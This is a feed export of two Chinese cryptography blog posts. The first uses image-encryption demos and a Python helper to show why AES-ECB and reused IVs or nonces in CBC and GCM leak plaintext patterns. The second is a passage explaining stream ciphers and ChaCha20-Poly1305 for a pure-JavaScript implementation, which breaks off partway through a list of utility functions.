&lt;h2 id=&quot;30fen-zhong-gao-ding-aesxi-lie-xia-ivyu-jia-mi-yu-yi-an-quan-xing-tan-jiu-teng-xun-yun-kai-fa-zhe-she-qu-teng-xun-yun&quot;&gt;30分钟搞定AES系列（下）：IV与加密语义安全性探究-腾讯云开发者社区-腾讯云&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;30分钟搞定AES系列（下）：IV与加密语义安全性探究-腾讯云开发者社区-腾讯云&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;article&#x2F;2171237&quot;&gt;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;article&#x2F;2171237&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;AES加密中IV至关重要，不同模式表现各异。ECB模式不安全，CBC模式用固定IV有风险，随机IV更安全。GCM模式对重复IV敏感，随机IV能提升安全性。IV需保证唯一性，CBC模式还要求随机性，合理使用IV可增强加密效果。&lt;&#x2F;li&gt;
&lt;li&gt;2025-07-18 13:26&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;cong-yi-zhang-jian-dan-de-tu-pian-kai-shi&quot;&gt;&lt;strong&gt;从一张简单的图片开始&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-top-secret-sample-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这是一张简单的图片，上面有一些文本内容：&lt;code&gt;敏感信息 TOP SECRET&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;假设这张图片就是包含了高度敏感的信息，现在我需要隐藏其中的信息，我需要怎么做？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;没错，我会用AES给他加密！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来，我们不妨尝试给它加密并看看效果。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zai-ci-qiang-diao-aes-ecbshi-bu-tui-jian-de-jia-mi-mo-shi&quot;&gt;&lt;strong&gt;再次强调：AES-ECB是不推荐的加密模式&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在真正讨论IV对于加密效果的作用之前，不放我们先来论证下之前已经给出的一个结论：&lt;strong&gt;AES-ECB加密模式是不安全的，不推荐在工程中使用&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;那么到底有多不安全呢？我们眼见为实！&lt;&#x2F;p&gt;
&lt;p&gt;我们约定使用的密钥&lt;code&gt;key = b&quot;test_png_encrypt&quot;&lt;&#x2F;code&gt;，同时我们约定上图中需要被加密的文件为&lt;code&gt;file = &quot;top_secret.png&quot;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;同时，为了更直观的验证加密效果并减少对图片加密细节的过分的阐述，我们这里约定：&lt;strong&gt;对于明文的png图片，按照行进行加密，用图片中的多行数据来模拟海量数据，用每行加密后的密文组合成的密文图片用于模拟各种加密模式在对海量&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;cloudhsm?from_column=20065&amp;amp;from=20065&quot;&gt;数据加密&lt;&#x2F;a&gt;**&lt;strong&gt;后生成的密文的特征。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此时我们对文件做一次AES-ECB模式的加密：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    test_ecb = png_aes_encryption(&amp;quot;ecb&amp;quot;)
    test_ecb.key_value = key
    test_ecb.load(file)
    test_ecb.encrypt()
    test_ecb.save_cipher_png(&amp;quot;cipher_ecb.png&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时我们得到了如下效果的密文图片：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-ecb-encrypted-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;怎么形容这种感觉呢？&lt;&#x2F;p&gt;
&lt;p&gt;它看起来被加密了，但是加的并不多。&lt;&#x2F;p&gt;
&lt;p&gt;甚至，有种加了个寂寞的感觉！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;AES-ECB是不需要使用IV的。&lt;&#x2F;strong&gt; 单纯依靠密钥本身进行分组加密，&lt;strong&gt;在给定的密钥下，任何给定的明文块总是被加密到相同的密文块&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这也是需要引入IV的原因。&lt;&#x2F;p&gt;
&lt;p&gt;IV使得加密过程变得更复杂，使明文的特征被更好的掩盖。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong-ivde-aes-cbcmo-shi-jiu-yi-ding-an-quan-ma&quot;&gt;&lt;strong&gt;使用IV的AES-CBC模式就一定安全吗？&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;毫无疑问，CBC模式下引入IV后，至少可以推论出，它将不会如此完整的保留原始的明文信息。&lt;&#x2F;p&gt;
&lt;p&gt;但是，在实际工程中，仍然经常见到使用者为了省事，将同一份密钥与IV应用于海量的加密数据。&lt;&#x2F;p&gt;
&lt;p&gt;以这张图片来举例，假设整张图片代表的是海量的明文数据，那么在使用同样的密钥与IV对每一行数据加密后，我们可以得到如下的效果：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    test_cbc_fixed_iv = png_aes_encryption(&amp;quot;cbc&amp;quot;)
    test_cbc_fixed_iv.key_value = key
    test_cbc_fixed_iv.load(file)
    test_cbc_fixed_iv.iv_value = fixed_iv
    test_cbc_fixed_iv.encrypt(fixed_iv = True)
    test_cbc_fixed_iv.save_cipher_png(&amp;quot;cipher_cbc_fixed_iv.png&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 密文随机性示意大图：竖直彩色条纹背景上有两条水平方向的纯噪点条带（右下角 bowenerchen 水印），整体如电视雪花——加密后的数据呈均匀随机分布，已看不出任何原图条纹或图案结构。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;看起来效果似乎好了很多，已经完全无法看出来原始图片中的文字内容了。&lt;&#x2F;p&gt;
&lt;p&gt;但是，从统计学角度，当我们通过像素对比还是可以发现，密文图片中依旧保留了相当的原始图片的统计信息。&lt;&#x2F;p&gt;
&lt;p&gt;并且，通过肉眼来对比两张图片的噪声边缘，可以发现密文图片的噪声边缘几乎就是完美平滑的，与原文的文字部分几乎完美重合。&lt;&#x2F;p&gt;
&lt;p&gt;这说明，当对一个大文件（或被拆分为多个block的文件），在CBC模式下如果使用相同IV进行加密，则原始文件中的敏感信息特征可以被保留。&lt;&#x2F;p&gt;
&lt;p&gt;更准确一些来说，&lt;strong&gt;对于 CBC 模式，重复使用 IV 会导致：带有相同前缀的明文加密结果是相同前缀的密文。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;假设两段明文长度各自是 128 字节和 160 字节，他们的前 33 字节相同。那么他们俩的密文，前 32 字节是相同的。&lt;&#x2F;p&gt;
&lt;p&gt;而如果我们在保持密钥key不变的前提下，每一行数据都是用不同的IV（这里每次都生成随机IV）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    test_cbc = png_aes_encryption(&amp;quot;cbc&amp;quot;)
    test_cbc.key_value = key
    test_cbc.load(file)
    test_cbc.encrypt()
    test_cbc.save_cipher_png(&amp;quot;cipher_cbc.png&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;则可以得到如下的效果：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 整幅为均匀随机噪点（电视雪花状，右下角 bowenerchen 水印），示意 AES 加密输出的密文与随机数据无异，肉眼无法从密文中分辨任何明文结构或图案。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;当对每一行都是用随机IV时，整个图片的噪声分布看起来随机了很多，也就是说，从统计特征上来说，它保留的原始特征更少，肉眼可见的说明其安全性也是更好的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bi-xu-qiang-diao-aes-gcmdui-yu-zhong-fu-ivgeng-jia-min-gan&quot;&gt;&lt;strong&gt;必须强调：AES-GCM对于重复IV更加敏感&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;首先我们需要回顾下：&lt;strong&gt;GCM可以提供对消息的加密和完整性校验，是流式加密而非分组加密。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;而流式加密的方式，其实对于重复IV是更敏感的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    test_gcm_fixed_iv = png_aes_encryption(&amp;quot;gcm&amp;quot;)
    test_gcm_fixed_iv.key_value = key
    test_gcm_fixed_iv.load(file)
    test_gcm_fixed_iv.iv_value = fixed_iv
    test_gcm_fixed_iv.encrypt(fixed_iv = True)
    test_gcm_fixed_iv.save_cipher_png(&amp;quot;cipher_gcm_fixed_iv.png&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在使用重复IV按行加密时，我们得到了如下效果的图片：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-gcm-fixed-iv-ecb-pattern.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;惊不惊喜？&lt;&#x2F;p&gt;
&lt;p&gt;意不意外？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;如果固定IV的话，GCM模式的密文似乎跟ECB模式一样，对于原文的特征信息几乎完美保留，直接通过密文图片就可以看出来原始的文字信息。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;gcm-nonce-reuse-ciphertext.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;其实，对于 OFB&#x2F;CTR&#x2F;GCM 等分组密码转流密码的模式，重复使用 NONCE 会将其降级至 ECB 模式。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ECB 至少需要一个分组块(AES 是 16 字节)完全相同的明文才会得到相同的密文，而 OFB&#x2F;CTR&#x2F;GCM 只需要 1 个比特。如果两段明文的同一个位置的值是相同的，他们在密文的对应位置的值就是相同的；同时如果明文同位置的值相反，密文对应位置的值也相反。毕竟 1 比特只有 0, 1 两种取值。&lt;&#x2F;p&gt;
&lt;p&gt;那么，如果我们使用随机IV呢？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    test_gcm = png_aes_encryption(&amp;quot;gcm&amp;quot;)
    test_gcm.key_value = key
    test_gcm.load(file)
    test_gcm.encrypt()
    test_gcm.save_cipher_png(&amp;quot;cipher_gcm.png&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;1957a271e7c4a96f8b3c7fafa7bb43d9-20250718132247-ognngvv.png&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;没错，在使用随机IV后，肉眼可见的感觉到了密文机密性更好了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;iv-mi-yao-yu-ji-mi-xing&quot;&gt;&lt;strong&gt;IV、密钥与机密性&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;IV，也就是初始化向量，其在加密算法中本身不需要保持秘密，它是可以被公开的。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Key，也就是密钥，在加密算法中是需要保持秘密的，它不可以被公开。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;IV无论是对CBC模式还是对于GCM模式，对他都有一个最基本的要求：唯一性。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当IV只要求唯一性时，我们也可以叫它NONCE。&lt;&#x2F;p&gt;
&lt;p&gt;这里需要强调下：唯一性 与 随机性 是不一样的。&lt;&#x2F;p&gt;
&lt;p&gt;在GCM模式下，由于AES算子在内部会 计算ghash 把你输入的 IV(NONCE) 随机化一次，因此对于GCM模式来说，即使IV(NONCE)不是随机的也可以，也就是说，哪怕你使用GCM模式加密时输入的IV，每次都是在上一次IV的基础上加一，也是允许的，因此，在GCM模式下，一般我们不会使用IV的说法，而是直接叫NONCE，这个在常用的一些库中也可以体现：&lt;&#x2F;p&gt;
&lt;p&gt;apple的库：https:&#x2F;&#x2F;developer.apple.com&#x2F;documentation&#x2F;cryptokit&#x2F;aes&#x2F;gcm&lt;&#x2F;p&gt;
&lt;p&gt;一个很知名的C++库：https:&#x2F;&#x2F;doc.libsodium.org&#x2F;secret-key_cryptography&#x2F;aead&#x2F;aes-256-gcm&lt;&#x2F;p&gt;
&lt;p&gt;go的库用法：https:&#x2F;&#x2F;gist.github.com&#x2F;kkirsche&#x2F;e28da6754c39d5e7ea10&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;而对于CBC模式来说，除了要求唯一性，还要求IV的随机性，什么叫随机性？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;就是说，我&lt;strong&gt;根据当前的IV，无法猜测到下一个IV，如果根据当前的IV，我能猜测到下一个IV是把上一个IV的最后一个字节的值加一，那么它就失去了随机性。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通常来说，在工程应用上，我们&lt;strong&gt;保持IV的唯一性和随机性是最好的选择。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fu-lu&quot;&gt;&lt;strong&gt;附录&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;部分关于png图片加密重写的代码片段，仅供参考：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;def cut_list_with_step(lst: List[Any], step: int = 1):
    return [lst[i:i + step] for i in range(0, len(lst), step)]

class png_aes_encryption(object):
    def __init__(self, mode: str = &amp;quot;cbc&amp;quot;):
        self.__aes_operator = aes_encryption.aes_encryption(mode)
        self.__width: int = 0
        self.__height: int = 0
        self.__rows: List[bytes] = list()
        self.__info: Dict[str:Any] = dict()
        self.__cipher_rows: List[bytes] = list()

    @property
    def key_value(self) -&amp;gt; bytes:
        return self.__aes_operator.key_value

    @key_value.setter
    def key_value(self, key: bytes):
        self.__aes_operator.key_value = key

    @property
    def iv_value(self):
        return self.__aes_operator.iv_value

    @iv_value.setter
    def iv_value(self, iv: bytes):
        self.__aes_operator.iv_value = iv

    def load(self, filename: str):
        self.__width, self.__height, self.__rows, self.__info = png.Reader(filename = filename).read()
        print(&amp;quot;file={filename}, file_info={info}&amp;quot;.format(filename = filename, info = self.__info))

    def __generate_row_cipher(self, row_data: bytes) -&amp;gt; Tuple[bytes, int]:
        return self.__aes_operator.encrypt(row_data)

    def encrypt(self, block_size_in_bytes: int = 0, fixed_iv: bool = False):
        &amp;quot;&amp;quot;&amp;quot;
            block_size_in_bytes 默认为0， 表示按照矩阵的行进行加密
            否则将每行按照block_size_in_bytes进行拆分，然后对每个拆分的block进行加密
        &amp;quot;&amp;quot;&amp;quot;
        start = time.perf_counter()
        self.__cipher_rows = list()
        for i in self.__rows:

            if not fixed_iv:
                self.iv_value = bytes([random.randint(0, 255) for x in range(random.randint(8, 16))])

            if block_size_in_bytes &amp;lt;= 0:
                row_cipher, row_cipher_len = self.__aes_operator.encrypt(bytes(i))
                self.__cipher_rows.append(row_cipher)
            else:
                if block_size_in_bytes % 4 != 0:
                    raise ValueError(&amp;quot;block_size_in_bytes has to be a multiple of 4 &amp;quot;)
                cut_row_cipher = bytes()
                cut_row_list = cut_list_with_step(bytes(i), block_size_in_bytes)
                for ci in cut_row_list:
                    tmp_cipher, tmp_cipher_len = self.__aes_operator.encrypt(bytes(ci))
                    cut_row_cipher += tmp_cipher
                self.__cipher_rows.append(cut_row_cipher)

        elapsed = round((time.perf_counter() - start), 3) * 1000
        print(&amp;quot;mode={}, file_size={}, encryption time cost={}ms&amp;quot;.format(self.__aes_operator.current_mode,
                                                                        self.__info[&amp;quot;size&amp;quot;],
                                                                        elapsed))

    def save_cipher_png(self, filename: str):
        f = open(filename, &amp;#x27;wb&amp;#x27;)
        w = png.Writer(width = int(len(self.__cipher_rows[0]) &amp;#x2F; 4), height = len(self.__cipher_rows),
                       greyscale = self.__info[&amp;#x27;greyscale&amp;#x27;],
                       alpha = self.__info[&amp;#x27;alpha&amp;#x27;], bitdepth = self.__info[&amp;#x27;bitdepth&amp;#x27;])
        print(&amp;quot;try save png:filename={}, width={}, height={}&amp;quot;.format(filename,
                                                                     int(len(self.__cipher_rows[0]) &amp;#x2F; 4),
                                                                     len(self.__cipher_rows)))
        w.write(f, self.__cipher_rows)
        f.close()

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>chacha20-poly1305算法分析和纯JS实现本文</title>
        <published>2025-07-18T00:00:00+00:00</published>
        <updated>2025-07-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/chacha20-poly1305算法分析和纯js实现本文/"/>
        <id>https://vercel.juzhong.asia/obsidian/chacha20-poly1305算法分析和纯js实现本文/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/chacha20-poly1305算法分析和纯js实现本文/">&lt;h1 id=&quot;chacha20-poly1305suan-fa-fen-xi-he-chun-jsshi-xian-ben-wen&quot;&gt;chacha20-poly1305算法分析和纯JS实现本文&lt;&#x2F;h1&gt;
&lt;p&gt;chacha20-poly1305算法分析和纯JS实现&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gai-shu&quot;&gt;概述&lt;&#x2F;h2&gt;
&lt;p&gt;笔者前一阵子在博客中，讨论了基于chacha20结合非对称加密密钥协商的加密算法实现。那个讨论，是完全基于nodejs crypto模块来开展的。笔者也注意到，crypto内置了chacha20加密算法的内置支持，并且使用的方式也是标准化的，几乎和AES完全相同，所以代码的实现、编写和移植就非常方便。&lt;&#x2F;p&gt;
&lt;p&gt;但如果将这个问题，放在浏览器环境中，情况可能就有很大差异，因为到目前为止，webcrpto的subtle是不支持chacha算法的，对AES的支持也比较有限。所以，如果要在浏览中开展相关的应用，还是需要一个纯JS实现来支持chacha算法，这就是本文所需要探讨的主题。&lt;&#x2F;p&gt;
&lt;p&gt;所以本文探讨的一个核心的内容，就是在浏览器环境中的chacha算法的JS实现。但除此之外，笔者还发现，有一些相关的问题，包括对流加密算法的认识，和算法程序模块的架构，也是非常有意思，值得分享和讨论的，甚至有可能这些内容比算法本身更加有价值。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;liu-shi-jia-mi-stream-encrypt&quot;&gt;流式加密 Stream Encrypt&lt;&#x2F;h2&gt;
&lt;p&gt;笔者先想从chacha20这个算法所属的流式体系说起。笔者认为，相比分组加密如AES而言，流式加密的架构和处理更加简单巧妙。当然，首先需要理解的是，以AES为代表的分组加密(也称为块加密)和以Chacha为代表的流式加密，它们都属于对称加密算法，就是加密和解密，都使用相同的密钥。只不过是使用密钥的方式，和处理原文的方式有所不同而已。&lt;&#x2F;p&gt;
&lt;p&gt;以AES为代表分组加密的设计看起来更加直观和容易理解。笔者曾经仔细的研究过AES的实现方式。它先将加密的原文，分解成为一个个的“块”(block，AES中是4x4的Byte)，然后按照加密规则，对这个块进行各种变换，其中也包括了和密码变换进行的复合操作，最后，还要按照算法规则，将这些结果块通过某种方式连接起来(加密模式)，获得最终的加密结果。解密基本上是加密过程的逆操作，相当于将加密的结果，一步步回退来还原。由于这些操作实现的特点，同时为了保证安全性，需要考虑很多因素，比如初始向量、密钥长度、变换操作的顺序和轮次、加密模式、块信息的补码等等。这些因素累加起来，其实是比较复杂的。&lt;&#x2F;p&gt;
&lt;p&gt;而流式加密可能更加巧妙和简单。它不对原文进行处理，而是基于一个初始的随机信息和密钥，按照一个计数器，衍生出一系列密钥，然后对原始信息上每一个位，都使用对应位置上的密钥的位，进行异或操作，就是加密，再进行一次异或操作，就可以还原原始位，就是解密的操作了。&lt;&#x2F;p&gt;
&lt;p&gt;当然，为了实现的方便，密钥的流的生成，实际上是基于“块”的方式生成的，但显然，不需要考虑原始信息分组的问题，也就不用考虑补位和还原的问题，显然就更简单和直观。&lt;&#x2F;p&gt;
&lt;p&gt;此外，由于块密钥，是基于原始密钥、初始化向量和块计数器来生成的，所以可以“按需要”生成，也就是说，如果原始信息是逐渐生成的，在不知道原始信息的大小和结束点的情况下，也不影响块密钥流的生成，就达成了所谓的“流加密”。&lt;&#x2F;p&gt;
&lt;p&gt;显然，如果考虑实时处理的情况，流加密可以只处理当前需要处理的信息，在进行流处理的时候，可以大幅度降低内存资源占用的情况。比如，要加密一个文件，流加密模式可以完全不需要读取整个文件的内容，只需要对当前输入流的内容进行处理就可以了，理论上只占用一个流加密块需要的内存，就可以完成工作。&lt;&#x2F;p&gt;
&lt;p&gt;流加密还可以近似实时的对在网络上传输的内容进行分组的加密和解密，特别适合于网络应用特别是直播、音视频传输这种“信息流”化的应用应用场景，而且不需要特别担心计算量和资源占用的情况。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chacha20-poly1305&quot;&gt;chacha20-poly1305&lt;&#x2F;h2&gt;
&lt;p&gt;和分组加密算法一样，流式加密的算法和实现也有很多，经典的算法有RC4等。但在互联网时代，比较现代化、主流和应用比较广泛的算法是Chacha20-Poly1305。&lt;&#x2F;p&gt;
&lt;p&gt;关于这个算法本身而言，笔者已经在不同的场合和博客中提到过，但通常都是从应用的角度出发，并没有更深入的分享和研究。但如果需要一个纯JS的实现，就不可避免的涉及到其基本架构和原理，需要更深层次的认知。&lt;&#x2F;p&gt;
&lt;p&gt;算法的全称是chacha20-poly1305(以下称为CP1305)。所以它实际上是由两个部分构成的。chacha20和poly1305。它们分别用于信息加解密，和对信息进行认证，从而构成了完整的AEAD(Authenticated Encryption With Associated Data，附带相关信息的认证加密)体系。这个体系相对普通的对称加密而言更加完备，可以保证加解密过程的安全，并且支持附带一些非加密的信息(提供业务灵活性)。&lt;&#x2F;p&gt;
&lt;p&gt;chacha20的算法来自shasha，它是一种流加密的算法，并进行了一些优化和改进。这里的20是在这个算法中，有一种操作，需要执行20个轮次，这个我们会在后面的代码分析中清晰的看到。&lt;&#x2F;p&gt;
&lt;p&gt;poly1305是一种验证码算法，它和加密算法结合起来使用，可以保证加解密过程中，信息是完整可靠的。这里的1305,其实是指算法中会用到一个素数： 2^130-5。(这里谁有兴趣证明一下，它是一个素数？)&lt;&#x2F;p&gt;
&lt;p&gt;虽然名气没有AES那么大，但实际上CP1305并不是什么稀有非主流的算法，它已经被非常广泛的应用在各种各样的系统和场景当中。比如IPSec、SSH、TLS1.2&#x2F;1.3、DTLS1.2、WireGuard、S&#x2F;MIME4.0、OpenSSL、libsodium、Borg、Bcachefs等等，涉及基础网络安全、通信、VPN、内容加密、文件系统、数据备份等多种场景和技术。&lt;&#x2F;p&gt;
&lt;p&gt;下面是一张来自wiki的CP1305算法的原理和流程图，可以帮助我们对照和分析后面的实现代码：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;chacha20-poly1305-flow.webp&quot; alt=&quot;chacha.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里可以展示一些最基础的结构和流程包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;算法的输入，包括关联数据(AD)、密钥(K)、随机信息(Nonce)、和明文Plaintext&lt;&#x2F;li&gt;
&lt;li&gt;大的流程分为chacha20和ploy1305两个阶段&lt;&#x2F;li&gt;
&lt;li&gt;chacha20，使用Key、Nonce和一个计数器，块密钥CC_block&lt;&#x2F;li&gt;
&lt;li&gt;结合计数器迭代，多个块密钥，就可以生成一个密钥流Keystream&lt;&#x2F;li&gt;
&lt;li&gt;使用密钥流，来对原文进行位级别的加密(异或计算)，得到密文C&lt;&#x2F;li&gt;
&lt;li&gt;认证方面，是另外一套流程&lt;&#x2F;li&gt;
&lt;li&gt;认证的信息，包括了AD、密文C和它们的长度信息&lt;&#x2F;li&gt;
&lt;li&gt;认证所使用的密钥，来自Key、Nonce和Counter0，其实就是chacha的第一个密钥块&lt;&#x2F;li&gt;
&lt;li&gt;然后使用Ploy1305算法(后详)，会得到一个认证标签T&lt;&#x2F;li&gt;
&lt;li&gt;至此，加密和认证的过程就已经完成&lt;&#x2F;li&gt;
&lt;li&gt;在解密的时候，几乎是相同的过程和输入信息，由于异或计算的特性，再进行一遍，就可以由密文得到原文&lt;&#x2F;li&gt;
&lt;li&gt;可以获得相同的，获得解密的认证信息T1&lt;&#x2F;li&gt;
&lt;li&gt;和原文认证信息进行比较，就可以判断认证过程的完整性了&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;后续我们会进一步结合这个流程图和实现的代码，来对照讲解相关的部分和内容。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-xian-he-shi-li&quot;&gt;实现和示例&lt;&#x2F;h2&gt;
&lt;p&gt;这个算法的JS原生实现，和相关的应用和测试代码，可以参考下面的示例：&lt;&#x2F;p&gt;
&lt;iframe class=&quot;code-editor-frame&quot; data-code=&quot;code-editor-element&quot; data-code-id=&quot;7452287462904168499&quot; data-src=&quot;https:&#x2F;&#x2F;code.juejin.cn&#x2F;pen&#x2F;7452287462904168499&quot; loading=&quot;lazy&quot; src=&quot;https:&#x2F;&#x2F;code.juejin.cn&#x2F;pen&#x2F;7452287462904168499&quot;&gt;&lt;&#x2F;iframe&gt;
&lt;p&gt;这个示例应该能够说明一个问题，其实一个主流的安全对称加密和解密算法，其实并不是特别复杂，当然密码算法的解构设计确实非常重要，但算法的安全性的核心，应当是由密钥提供的。AES算法也是类似的情况，笔者有专门的博客进行了分析。&lt;&#x2F;p&gt;
&lt;p&gt;代码中，其实演示了一个比较完整的流程，进行了混合的nodejs和浏览器环境的编程。先使用nodejs crypto模块和内置的chacha20-poly1305算法，进行加密；然后在后续分别使用crypto模块和纯JS实现进行解密验证，从而证明了这个实现，在浏览器端和nodejs后端之间的互操作性，和JS实现的标准性。&lt;&#x2F;p&gt;
&lt;p&gt;这段代码也是笔者从网络上的一些实现代码中迁移而来，笔者基于自身的需求和习惯，进行了相关的调整和改进，比如将其封装成为一个类，重写了一些工具函数等等。核心代码也就是不到200行，下面笔者尝试进行简单的梳理和分析。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-xin-xi-he-can-shu&quot;&gt;配置信息和参数&lt;&#x2F;h3&gt;
&lt;p&gt;首先就是基于Chacha20-Poly1305算法标准流程，设置的一些算法参数和初始数据，其中比较重要的信息包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;主变换计算轮次：10轮，但每轮中其实有两种计算&lt;&#x2F;li&gt;
&lt;li&gt;初始化向量长度： 12字节(标准)&lt;&#x2F;li&gt;
&lt;li&gt;authTag长度: 16字节(标准)&lt;&#x2F;li&gt;
&lt;li&gt;块大小：64字节&lt;&#x2F;li&gt;
&lt;li&gt;初始块: [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;gong-ju-han-shu&quot;&gt;工具函数&lt;&#x2F;h3&gt;
&lt;p&gt;这里的工具函数，包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;randomArray 随机信息发生器&lt;&#x2F;li&gt;
&lt;li&gt;b64Encode: base64编码器，将Uint8Array编码成为Base64字符串&lt;&#x2F;li&gt;
&lt;li&gt;b64Decode: base64解码器，将Base64字符串解码为Uint8Array&lt;&#x2F;li&gt;
&lt;li&gt;lenBuf: 内容长度信息编码&lt;&#x2F;li&gt;
&lt;li&gt;padBuf: 内容信息补位&lt;&#x2F;li&gt;
